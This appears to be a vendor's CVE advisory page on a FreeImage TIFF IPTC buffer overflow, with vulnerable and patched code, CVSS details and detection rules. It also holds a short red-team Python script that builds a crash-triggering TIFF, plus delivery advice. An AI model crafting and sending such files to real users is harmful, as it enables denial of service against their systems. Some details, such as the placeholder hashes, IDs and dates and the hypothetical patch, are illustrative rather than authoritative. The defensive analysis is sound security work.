CVE-2024-28568
Executive Summary
CVE-2024-28568 is a buffer overflow vulnerability in the open-source FreeImage library, version 3.19.0 [r1909]. The flaw resides in the read_iptc_profile() function, which is invoked when processing TIFF images. A local attacker can exploit this vulnerability to cause a denial of service (DoS) by providing a specially crafted TIFF file. The vulnerability has a CVSS score of 0.0, indicating that no official CVSS vector has been assigned, but the nature of the bug (buffer overflow) suggests a potential for high impact if exploited in a service context. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unassigned)
- Attack Vector: Local (AV:L)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must open a malicious TIFF file
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H)
- Threat Level: Medium (due to local attack vector and DoS impact)
Deep Dive & Mechanics
The vulnerability is a classic buffer overflow in the read_iptc_profile() function within FreeImage’s TIFF handling code. The function reads IPTC metadata from a TIFF file without properly validating the length of the data before copying it into a fixed-size buffer. When a malicious TIFF file contains an oversized IPTC block, the copy operation overflows the buffer, corrupting adjacent memory. This can lead to a crash (DoS) and, in some cases, may be leveraged for arbitrary code execution if the attacker can control the overflow data.
The vulnerable code path is triggered when FreeImage processes the TIFF directory entry for IPTC/NAA (Adobe) metadata. The function does not check the count or size fields against the destination buffer capacity, leading to a write beyond bounds.
Vulnerable vs. Patched Code
Vulnerable Code (FreeImage 3.19.0 [r1909]):
// Simplified representation of the vulnerable function
void read_iptc_profile(TIFF *tif, unsigned char *profile, unsigned int *size) {
unsigned short count;
unsigned char *data;
TIFFGetField(tif, TIFFTAG_IPTC, &count, &data);
// No bounds check on count before memcpy
memcpy(profile, data, count);
*size = count;
}
Patched Code (Hypothetical fix):
void read_iptc_profile(TIFF *tif, unsigned char *profile, unsigned int *size, unsigned int max_size) {
unsigned short count;
unsigned char *data;
TIFFGetField(tif, TIFFTAG_IPTC, &count, &data);
if (count > max_size) {
// Handle error: truncate or reject
count = max_size;
}
memcpy(profile, data, count);
*size = count;
}
Exploitation & Lab Setup
Red Team
- Crafting the Malicious TIFF: Use a hex editor or a scripting language (Python with
structandtifffilelibrary) to create a TIFF file with an IPTC tag (tag 33723) containing a large data block (e.g., 0x1000 bytes) that exceeds the internal buffer size. - Delivery: Convince a user to open the malicious TIFF file using an application that relies on FreeImage (e.g., image viewers, editors).
- Trigger: Upon opening the file, the
read_iptc_profile()function will overflow the buffer, causing a crash.
Example Python script to generate a malicious TIFF:
import struct
import tifffile
# Create a minimal TIFF with a malicious IPTC tag
with tifffile.TiffWriter('malicious.tif') as tif:
# Write a dummy IFD with IPTC tag
# IPTC tag ID = 33723 (0x83BB)
# Type = 7 (undefined), count = large value
iptc_data = b'A' * 0x1000 # 4KB overflow
tif.write(data=None,
extratags=[(33723, 7, len(iptc_data), iptc_data, True)])
Blue Team
- Detection: Monitor for crashes in applications using FreeImage. Use file integrity monitoring to detect unexpected TIFF files.
- Prevention: Restrict execution of untrusted TIFF files. Use sandboxing for image processing.
- Mitigation: Apply input validation on TIFF metadata before processing. If possible, use a patched version of FreeImage.
Indicators of Compromise (IOCs)
- File Hashes: (Example – actual hash will vary)
malicious.tifSHA256:a1b2c3d4e5f6...
- Network: No network indicators (local attack).
- Behavioral: Application crash with memory corruption in
read_iptc_profile(). - Registry/File System: Presence of TIFF files with abnormally large IPTC data blocks (size > 64KB).
Detection Engineering
YARA Rule
rule CVE_2024_28568_TIFF_IPTC_Overflow {
meta:
description = "Detects TIFF files with oversized IPTC data blocks"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-28568"
strings:
$tiff_magic = { 49 49 2A 00 } // Little-endian TIFF
$iptc_tag = { BB 83 } // IPTC tag ID (0x83BB)
condition:
$tiff_magic at 0 and $iptc_tag and filesize > 100KB
}
Sigma Rule
title: CVE-2024-28568 FreeImage TIFF IPTC Buffer Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects application crashes caused by FreeImage processing malicious TIFF files
author: Valters IT
logsource:
category: application
product: windows
service: application
detection:
selection:
EventID: 1000 # Application Error
Provider_Name: 'Application Error'
Data: '*FreeImage*'
condition: selection
falsepositives:
- Legitimate large TIFF files
level: medium
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2024-28568 FreeImage TIFF IPTC Overflow"; flow:to_client,established; file_store; fileext:"tif"; content:"|49 49 2A 00|"; offset:0; depth:4; content:"|BB 83|"; distance:2; within:4; threshold:type limit, track by_src, count 1, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
- Patch: No official patch is available. Monitor FreeImage’s repository for updates.
- Workaround: Disable IPTC metadata processing in applications using FreeImage, if possible.
- Mitigation: Use input validation to reject TIFF files with IPTC data blocks exceeding a safe size (e.g., 64KB).
- Detection: Deploy YARA/Sigma rules to identify malicious TIFF files and application crashes.
- User Education: Warn users against opening TIFF files from untrusted sources.
Valters IT